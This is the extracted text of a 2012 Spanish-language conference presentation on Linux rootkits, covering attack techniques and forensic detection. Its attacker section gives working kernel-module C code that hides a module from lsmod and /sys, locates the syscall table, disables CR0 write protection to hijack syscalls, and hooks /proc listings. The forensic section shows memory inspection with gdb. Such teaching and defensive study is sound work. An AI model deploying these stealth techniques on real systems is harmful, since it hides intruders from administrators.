Hide and Find Rootkits in Linux
Hide and Find Rootkits in Linux
Forensics and Attack Strategies
NataS::: The Lord of ChaosMarcos Ricardo Schejtman Rubio
20 de Abril de 2012
Hide and Find Rootkits in Linux
Contents1 Introduccion
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
Metodos de Ataque
Kernel Hacking
task struct modification
3 La Perspectiva Forense
Metodos de Deteccion
4 The End
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Introduccion
Definiciones
Introduccion1 Introduccion
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
Metodos de Ataque
Kernel Hacking
task struct modification
3 La Perspectiva Forense
Metodos de Deteccion
4 The End
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Introduccion
Definiciones
¿Que es un Rootkit?
Un rootkit (segun Wikipedia), se puede definir como:
Un programa que permite un acceso de privilegiocontinuo a una computadora pero que mantiene supresencia activamente oculta al control de losadministradores al corromper el funcionamiento normaldel sistema operativo o de otras aplicaciones.
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Introduccion
Tipos de Rootkits
Tipos de Rootkits
Practicamente podemos hablar de dos tipos de rootkits:
1 Rootkits en Espacio de Usuario, Los cuales corren enRing-3, y modifican librerıas, o archivos de configuracion, einclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren enRing-0, y modifican estructuras del kernel, atrapan llamadasde sistema (hijacking syscall-table), etc. Podemos tenerloscomo LKM’s o como patch al kernel corriendo /dev/kmem
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Introduccion
Funciones Comunes de Rootkits
Funciones Comunes de Rootkits
Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root
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La perspectiva del Atacante
Metodos de Ataque
Introduccion1 Introduccion
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
Metodos de Ataque
Kernel Hacking
task struct modification
3 La Perspectiva Forense
Metodos de Deteccion
4 The End
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La perspectiva del Atacante
Metodos de Ataque
Metodos de Ataque
Modificacion de las estructuras de datos (la misma quecontiene los procesos corriendo en el sistema actualmente).
Interceptando las llamadas a sistema mediante la modificacionde la tabla de llamadas o del handler de cierta syscall(Dinamyc or Static Hijacking).
Interrupt Hooking, modificando la tabla de descriptores de lasinterrupciones (IDT) 0x80.
Modificando la memoria del kernel (/dev/kmem).
Interceptando el manejo de llamadas del VFS (/proc /sys)
Virtual Memory Subversion, un ataque novedoso parapresentar vistas de la memoria de los procesos.
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La perspectiva del Atacante
Kernel Hacking
Introduccion1 Introduccion
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
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Kernel Hacking
task struct modification
3 La Perspectiva Forense
Metodos de Deteccion
4 The End
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La perspectiva del Atacante
Kernel Hacking
Escondiendo desde el Kernel
The Ring Model Intel tiene cuatro anillosMS Windows y otros,manejan solo dos.Usando solo dos niveles deprivilegios, no hay separacionentre el kernel y los drivers(root es tambien ring-3).Los drivers pueden modificarla memoria asociada conobjetos del kernel... talescomo aquellos querepresentan un proceso.
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La perspectiva del Atacante
Kernel Hacking
Introduciendo al LKM
Las comunicaciones entre el espacio de usuario (ring-3), y elespacio del kernel (ring-0), se hacen mediante archivos.
Debido al punto anterior, existe y conocemos /proc, /sys,/dev. Dichos directorios solo existen en RAM.
Llamadas a sistemas, estan guardadas en una tabla especial(sys call table).
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Kernel Hacking
Consideraciones
Las diferencias mas importantes entre un desarrollo a nıvel kernel oespacio usuario son:
El kernel carece de proteccion de memoria... algo que seofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones enpunto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza asıncrona de las interrupciones delkernel, la concurrencia es de los temas a poner mas enfasis aldesarrollar (Race-Conditions).
La potabilidad... entre version y version de nucleo.
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La perspectiva del Atacante
Kernel Hacking
Hidding the Module
El kernel maneja un lista enlazada en la cual, mantiene lareferencia de todos los modulos que estan cargados (lsmod y/proc leen dicha lista).
Esconder nuestro modulo es muy sencillo, en la funcion deinicio del modulo basta con eliminar la referencia de la lista:
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximacion:
1 Aun somos detectables desde /sys
2 Al hacer un unload del modulo, debido a que no existe en lalista, se provoca un Oops que genera un kernel panic o crashdel sistema, dejando rastros.
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Kernel Hacking
Hidding the Module
Cada entrada en /sys es un objeto module kobject (definidoen module.h) que internamente tienen una estructura del tipokobject (definido en kobject.h).
Examinando el codigo del kernel, vemos que en la descarga delmodulo, primero debemos eliminarnos de /sys yposteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos queesten iniciado a NULL
Recomendaciones:
1 Recordar informacion previa (prev y next en la lista).
2 Sobreescribir readproc y writeproc
3 Funciones estaticas para no dejar rastros en /proc/kallsyms
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Kernel Hacking
Hidding the Module: A little taste
static inline void natas_hide(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
static int __init natas_init(void) {
/*Inicializaciones del modulo*/
...
natas_hide();
return 0;
}
module_init(natas_init);
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task struct modification
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Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
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Kernel Hacking
task struct modification
3 La Perspectiva Forense
Metodos de Deteccion
4 The End
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task struct modification
task struct modification: Overview
El kernel de linux contiene una lista enlazada (definida eninclude/linux/types.h e include/linux/list.h) de tareas, las cualesson una estructura declarada en include/linux/sched.h.
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task struct modification
task struct modification: Hidding
Esconder un proceso no es mas que eliminar la tarea de lospunteros prev y next de la lista tasks.
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task struct modification
task struct modification: Issues
La eliminacion de las referencias en next y prev, ocasionan queel scheduler no vea el proceso que escondimos.
Si el scheduler no ve el proceso, no le asigna tiempo de CPU,ocasionando que la tarea se congele.
Adicional, es preciso modificar el scheduler para que asignetiempo al proceso padre del PID 0 (init).
¿Es posible encontrar el proceso? Sı. Usando gdb, conociendonuestra arquitectura y cuanto pesa nuestra task struct. A partir deahı y haciendo uso de System.map, /dev/kcore y la imagen esposible recrear la tabla de procesos.
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task struct modification
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.
syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}
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La perspectiva del Atacante
task struct modification
Dinamyc Hijacking
La direccion de la sys call table, puede ser encontrada en el archivoSystem.map-$(uname -r) ¿Que ocurre cuando ya no existe esearchivo?
El rango de memoria del kernel en arquitecturas X86 es del0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call tablebasta con buscar hasta la 0xd0000000 ¿porque?CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernelen 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,es de destacar que igual que en la arquitectura de 32Bits, nodebemos iterar todas las direcciones, basta iterar hasta0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos sımbolos seexporten, sys close por ejemplo.
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La perspectiva del Atacante
task struct modification
Dinamyc Hijacking
#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}
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La perspectiva del Atacante
task struct modification
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura ¿o no? Existendiferentes registros de procesador, el que nos interesa es el cr0. Elkernel nos da dos funciones para manipular este registro: write cr0y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello sellama WP bit. Solo basta modificar este bit antes y despues delhijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "\nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "\nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/
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task struct modification
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.
syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}
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task struct modification
Hijacking VFS
struct inode *pinode;
const struct file_operations *proc_original;
static struct file_operations proc_fops;
void hook_proc(struct proc_dir_entry *root) {
struct path proc_path;
if (kern_path("/proc/",0,&proc_path))
return;
pinode = proc_path.dentry->d_inode;
if(!pinode)
return;
proc_fops = *pinode->i_fop;
proc_original = pinode->i_fop;
proc_fops.readdir = natas_lookup;
pinode->i_fop = &proc_fops;
}
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Metodos de Deteccion
Introduccion1 Introduccion
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
Metodos de Ataque
Kernel Hacking
task struct modification
3 La Perspectiva Forense
Metodos de Deteccion
4 The End
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La Perspectiva Forense
Metodos de Deteccion
Metodos de Deteccion
Comparando la tabla de Sımbolos, Cada cierto tiempo serealizar comparaciones con la tabla de Sistema original(System.map) con la actual tabla.
Analisis de Binarios, desde metodos tan sencillos comoconstantes revisiones de la suma MD5, hasta utilizacion detrazas y visualizacion de estructuras de datos sobre el kernel.
Analisis del Path de Ejecucion, Un rotkit modifica elcamino de ejecucion de una llamada a sistema
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Metodos de Deteccion
Path Analysis
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La Perspectiva Forense
Metodos de Deteccion
Metodos de Deteccion
root@alien-natas:~# dmesg | grep -i task
[ 3.082767] registered taskstats version 1
[ 251.622695] My task_struct --> 1048
root@alien-natas:~# grep init_task /boot/System.map-3.2.0-1-686-pae | grep D
c13d8fe0 D init_task
root@alien-natas:~# gdb /boot/vmlinuz-3.2.0-1-686-pae /proc/kcore
Core was generated by ‘BOOT_IMAGE=/vmlinuz-3.2.0-1-686-pae
root=/dev/mapper/sda2_crypt ro single’.
#0 0x00000000 in ?? ()
(gdb) x/262wx 0xc13d8fe0
0xc13d8fe0: 0x00000000 0xc13d2000 0x00000002 0x00200000
0xc13d8ff0: 0x00000000 0x00000000 0x00000001 0x00000000
0xc13d9000: 0x00000078 0x00000078 0x00000078 0x00000000
0xc13d9010: 0xc12c3404 0x00000400 0x00400000 0x00000000
0xc13d9020: 0x00000000 0x00000000 0xc13d9028 0xc13d9028
0xc13d9030: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9040: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9050: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9060: 0xf7607a04 0x00000000 0xc13d9068 0xc13d9068
0xc13d9070: 0x00000000 0x000000fa 0x00000001 0x00000000
0xc13d9080: 0x00000000 0x00000000 0x00000000 0x00000000
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The End
Greetings
Gr33tz!!
@nitr0usmx@ hkm@calderpwn@ch1rx
@preth00nker@ tty0@psymera@napa topos
—————————————————————————–Autor: Marcos Ricardo Schejtman RubioE-Mail: [email protected]: @natashell666
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